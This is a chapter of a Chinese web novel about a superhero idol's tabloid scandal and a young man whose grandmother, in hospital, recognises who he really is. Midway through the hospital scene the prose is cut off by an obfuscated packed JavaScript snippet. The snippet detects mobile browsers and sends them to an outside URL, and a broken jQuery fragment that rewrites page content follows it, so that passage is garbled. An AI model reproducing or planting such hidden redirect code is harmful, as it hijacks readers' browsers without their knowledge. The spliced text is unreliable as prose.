翌日清晨。
白日里的暑气还未蒸腾而上,水泥廊下仍残存着一丝昨夜的凉意。
“吱呀”一声,古董防盗门自内推开。
同一时刻,薄薄楼板间穿透出数只声调不同的闹钟同声合唱。邻室门里,智能腕表数字闪烁,跳至标准的六点正。
门与走廊的狭缝间,探出一只指节分明,缺失薄脂或软组织包覆,白桦枝似的手。
手指灵活,拧动一柄小巧的金属钥匙。取出尚存余温的牛奶,挟走柔软堆叠着的城市早报。当啷,当啷。金属开开合合,以同一个频率同一个角度,重复着与昨日并无二致的动作,重复晴朗而又普通的一个早晨。
突然,一段空白休止符打入,截停至今为止已演练过无数次、从未出过差错的连续命令行。
哗啦啦啦——!
铁丝栏上,几只鸟雀拍翅飞起。趁夜最新出厂、幽幽散发着清馨油墨香的纸张不意脱手,飘飘然飞洒一地。
刺嚓。裁纸刀代替银制餐刀抽出了鞘。
刀尖划过粗制滥造纸张,割开哗众取宠的头版头条。沿着曲折弧线,木质纤维断开破裂,吟哦出呕哑的悲鸣。
向来精确如钟表的贺医生,今日踏出楼道的时间,比往常迟了两分。
今晨没有碳水香氛,也没有中场稍息。刀尖刮擦纸张的微弱声响不足以惊动林昭;昨晚耗费心神的社交活动、以及夜色中微妙浮动的复合香调,让他的睡眠记录比平日更为平稳。
早间八点半。
一道电话铃响起。林昭迷迷糊糊翻身,掀起枕头将手机压住。
数分钟后,智能腕表剧烈震动。接着是闹钟、定时器、电水壶、收音机、电视机、电脑主机箱甚至烟雾报警器……终于,整间公寓里所有能出声说话的电器,都喧嚣着大喊起来。
——紧急联络状态?出什么事了?
林昭睁眼,先迎来了飞碟震怒的一巴掌。
嗷,好痛的叫早服务。
“师哥,师哥!!!你终于醒了!!!”电话另一头,车敏声嘶力竭在喊,“太好了,那你就别醒了!啊不是,我是说,今天你就待在家里,别来所里了!”
她喘得厉害,听着好像是一个劲儿在跑。林昭一下坐起,急问道:“谁在追你?”
“不知道!!!”车敏尖声,“可能是记者狗仔粉丝还有星探!!都百米飞人自带便当泡面帐篷在灌木丛和窖井盖底下开野餐Party埋伏我们,这谁还能分得清啊!!!”
电话里远端传来谭之和解洋鬼鬼祟祟的说话声:“在这弄俩……路障吧。”
“高压电网。必须得是高压电网。”
“一个都别想上来。”
“空中超巨大型电蚊拍。谁动烧谁。但记得无人机抓活的。”
林昭:“。”不然怎么说是一家人呢。
“我引开他们!”车敏对那俩人喊话,又转回再次叮嘱林昭,“千万别出门!!!师哥,你得记住,今天开始你的身份不同了。今天的你,已经是霸道大明星——”
“……金屋藏娇强取豪夺的白月光小情人!”她一气呵成,口齿流利地大喊。
电话切线。林昭:“……?”
鱼珠巷的早晨仍是宁静,簌簌叶响混着邻里间的耳语混成最安详的白噪音,好似外界烦扰纷纷,都干扰不到它寒暑轮转。
飞碟忽然一动。毛发张紧,耳根长尾陡然立起,轻飘飘空降至门口,黑猫折身一跃,叼回来一张歪斜在地的剪报纸片。
顾公馆门前,围观视角摄下的双人照。
借位角度刁钻无比,远看像刚亲上,近看像刚亲完。甚至连黎沅那几缕被风惹动,漫无目的糊了林昭一脸的头发丝,一眼扫过去都很有几分藕断丝连、欲吻还休的风情。
千军万马中挑出这张图来做头版头条的媒体人,存的不知是何种心思。
可就这么一锅泼天狗血,却因黎沅头部果决划开的两刀十字破口,一秒转为恐怖片。
林昭垂眸定定,指尖不觉用力,将质地不堪的木浆纸掐进去一凹皱痕。
城市徐徐初醒。江岸云端某七星级酒店,顶层总统套房。
黎沅冲沙袋击出最后一拳,撤身卸了手套,扬臂抽走金发上麻花状绞缠编织的钴蓝绸带,步出健身房冲了个澡。
超英偶像们在身体素质和精神韧度方面,可以说确实地都已达到顶尖人类水平。晚间超量的社交活动或是紧急擒凶演出,从来都不影响黎沅那由百万营养师和健身教练制定而成的优越作息。
“就好像他们永远都不会累的。”这是黎沅和丁汀娜现属的超英偶像运营公司——衍绎映画公司某位高管,在酒桌上为这两位超人类发出的赞叹。而在好评和艳羡的对立面,黏附着的无非是些“怪物”、“已经不能算是人了吧”、“文明观猴,街头马戏”之类福寿螺似的恶心话。
因为打不过怕被揍,恶评者一般都只敢在背后偷偷诋毁;但即便一人只给一拳都揍不过来,所以L.N.A的二位大发慈悲,什么都当没听到不计较了。
衍绎映画的高管们却不能免俗,仍对这二位强劲的能力者心怀忌惮。明证之一,就是他们会极力避免一切必须和黎沅面对面的场合,尽可能采用远程交流方式进行沟通。
十点左右,黎沅到套房外间客厅,接入经纪公司发来的全息视讯会议。仿佛电影中的画面一般,空荡荡的长沙发上填充入数道光栅人影,姿态普遍紧绷,神色大多不安。
唯独黎沅本人漫不经心。他撩拨了下微湿的长发,支着肘斜倚在鎏金扶手上,将画面这边幻化成浪漫主义油画。
“说。”他言简意赅。
听完一轮控诉,他轻撩长睫,又只讲一个字:“不。”
对面据理力争,抬出由L.N.A主演、新近杀青很快将推入点映宣传期的4D电影《星盟探险队》第二部和即将筹备开机的老牌超英真人秀「王牌超英·奇迹巅峰对决」,恳请黎沅出面,为舆论风评、粉丝感受和公司盈利状况考虑、对遭到媒体严重误读、重创粉丝感情的最新要闻做澄清。
“不可能。”黎沅口吻温和,态度却不容推拒。显然,他是个谈判桌上的老手:“除了部分措辞失当的媒体,在这里,有谁,有任何人,做错过什么事吗?”
“有任何事需要解释?”
“要科普社交礼仪吗?”
“还是为我的性取向开记者会公开致歉?”
“怎么想都没办法答应你们吧。”他轻描淡写道,“容我提醒一句,我们的合约条款仍在有效期。我想做什么做什么。”
“……还真好意思说啊。”沉寂两秒,有人不齿冷笑,“要不是上你的当昏了头,谁能同意签署那样一面倒的荒唐合同!?”
黎沅微笑不语。经纪人Amily敲了敲看不到的空气桌子,以理性态度将谈话引回正轨:“那么Leon,你预备怎么办?我想放任舆论发展,并不是这里的最优解。”
还是人工智能更好沟通啊。黎沅换了个姿势:“笑一笑吧各位。为何愁容不展呢?”
“谁犯错,谁该蒙受责罚。”他轻飘飘地,“让做错事的人再也无法发声,问题迎刃而解。”
数名高管面色微沉,彼此打量一眼。Amily没有派系斗争之虑,她出言反对:“风险过高,不推崇这样的做法。东国和A国情况迥异,我们必须得谨言慎行,遵守、尊重本地法规法条……”
“?你们不会在考虑怎么把人灭口吧?表情还真可怕。”黎沅挑起眉尾,故作惊讶,“我的意思是,让他们感受下金钱的威权和力量。”
所有人:“……”原来只是砸钱公关啊!!!
这就是所谓的想开窗就先拆屋顶……吗???
“一倍不够就加到十倍,十倍不够就加到百倍千倍。过去从我这里拿到多少?稍微动一只角出来摆平。对你们来说,这很轻松就能做得到吧?”
“——也,请各位先有个心理准备。”黎沅转开视线,望向窗外的高天白云,心情不错地翘起唇角,“我想……”
这才只刚开始呢。
午后,东璞北港。
阳光洒落,将玻璃窗下一大片空地照得煌煌发白。双层保温玻璃驱除热气只留明亮日光,保持室内在舒适合宜的温度。
桑奶奶安静倚在床头,干瘪的手背上吊着点滴。夏天是万物生息的季节,她也顺应时节,稍长了点肉。
最近,她每周两次往返于太平港医院和天蛾角,参与针对阿兹海默的实验疗程。桑士桢的暑期课程安排也配合她的疗程,每周特意腾出两个下午,用以接送老人家来回。
高挑削薄的少年就着门边垃圾桶,在削一只苹果。水果刀一下一下,银光闪闪,机械重复着平移、切割的动作。
病床对面墙上,和晨间新闻差不多的内容换过播音员,再一次播出:
「据悉,昨日大使夫人在家中举办了一场别开生面的文化交流晚宴。文艺界知名人士共聚一堂,其中不乏最近炙手可热的人体高功能明星到场……」
桑奶奶好像在听,好像又没听进去。她总是这样沉默着,和外界保持不远不近的客套关系。
苹果皮连续不断,一圈一圈彩带似地盘绕吊挂下来。削完一只,桑士桢又拿另一只。硬质食物老人不容易下口,水果需要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14037244|144450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事先削成小块,送进料理机里打成果泥才能食用。
「来自大洋彼岸,却身怀华裔血统的L.N.A英雄组合,与咱们东璞本地的“城市英雄”……在现场,彼此交谈……亲切地问候。」
苹果皮一断。桑士桢呼了口气,逼自己压下抬头去看电视的念头,继续操持着刀锋,在紧密吻合着的果皮与果肉间硬生生分开一道生分缝隙。
桑奶奶似有所觉。她缓缓撑起眼皮,注视喋喋不休的电视机。
「为他们的友谊喝彩之余,我们不禁也好奇,本土与舶来,科技与商业,未来是否会碰撞出更多火花……」
桑士桢叹了口气。
苹果皮断了又断,显得他笨手笨脚的,可真不像话。
新闻切到下一条,桑奶奶神色平静,以一种近乎自言自语的口吻道:“怎么,栎栎上电视了呀。”
她好像是又把电视里的林昭认成自己早逝的孩子了。
刀尖竖起,一转掀掉苹果两极覆着的天灵盖。桑士桢走到桌边,将水果切块落入量杯筒里,淡声道:“奶奶,你认错人了。我没上电视,人在你面前呢。”他惯常地在糊涂的亲人面前披着伪装。
桑奶奶却说:“怎么了?不开心?和栎栎吵架了?”
桑士桢呆了呆,手指在启动键附近悬空停住了。
“小桑。”老妇人动了动垂耷的眼皮,眼神却是前所未有的清明,“是不是该叫你小桑?”
无数念头混着恐慌,海啸一般冲过桑士桢的脑海。这是……认得人了?是第一疗程生效,部分记忆复原,看穿了他的破绽……察觉到他是假扮的,不是那个意外身故的小孙子了?
那他……
该怎么办?
“我靠啊。”他手忙脚乱扶住料理机,尽可能显得自己特别忙,试图掩饰谎言破灭的窘迫,“那什么疗法,想不到还真挺特么有用……真的假的——”
“过来啊。”老妇人拖着长声,耐心催促他,“待在门边干嘛,来奶奶这边坐。”
桑士桢:“……”
他在原地愣了两秒,说,“好的,奶奶”。往前走出两步,他又想起身后被他捯饬半天却根本忘记插电的料理机,赶紧折回去先把机器启动。
食材欢欣鼓舞,彼此击掌,碰撞出细弱而喜悦的嗡鸣。苍老枯槁手指抚上似是而非的面庞,伪装脱落,阳光下现出线条锋利、浮着浅淡刀疤的真容。
“……怎么,你还真的是那个孩子啊。”老妇人感慨道,“我还说呢,每天去江边拾瓶子都见到那个满脸刀疤的小孩,怎么有一天人突然就不见了。还以为他出了什么意外……”
“真是太好了。”她说。
桑士桢不敢动。他轻轻点头。老妇人噙着笑意,小心碰了碰桑士桢颊骨下方最鲜明一条疤痕,又问:“真没有和朋友吵架?”
桑士桢握着她的手,垂眼,摇了摇头。
要是真能吵架倒好了。
就他现在这样,怕不是连吵架的资格都没有。
走到哪都避不过的八卦要闻,每一个飘浮的字眼都被他掩耳盗铃吞下在唇齿间,弥散开一股挥之不去的辛涩苦意——
黎沅是吧?黄金美杜莎是吧。费洛蒙之吻是吧!
摆出一副高高在上的架势,下嘴倒是挺快哈。
这才见第几面啊!?
差不多就要亲上了!!!
……是啊是啊,只是普通的社交礼仪,他知道。照片上的两人没有真正触碰到对方,他眼没瞎,也能看得出来。媒体为了吸引眼球什么狠话都敢放,什么“出柜”“情人”“官宣”,那全都是鬼扯,他一个字都不信。
可是,为什么。
一个吻。
浅尝辄止,仅仅只是嘴唇轻触的程度。
在他,是要深思熟悉,考虑过前后三十年的利害关系,预备好赌上自己一整个人生,才觉得能够担负得起的重量。
为什么却有人可以举重若轻,似蜻蜓掠水一点而过,全然不把这当成一回事?
——不公平。
他不甘心。
“要争取和好吧。”桑奶奶拍拍他,“ 你愿意做回自己,这是多好的事情啊……我想,你肯定是遇到了很好的人。”
“没有血缘关系,你都和奶奶做成了家人。这样就要放弃吗?”
不知为什么,桑士桢觉得自己的手指有点抖。
“我……我想想办法。”他说。
“嗯。”老妇人柔声,“慢慢想想看。”
——归因往回,回溯至最基本的能量交换法则。
他需要什么?
你又能为他做到什么?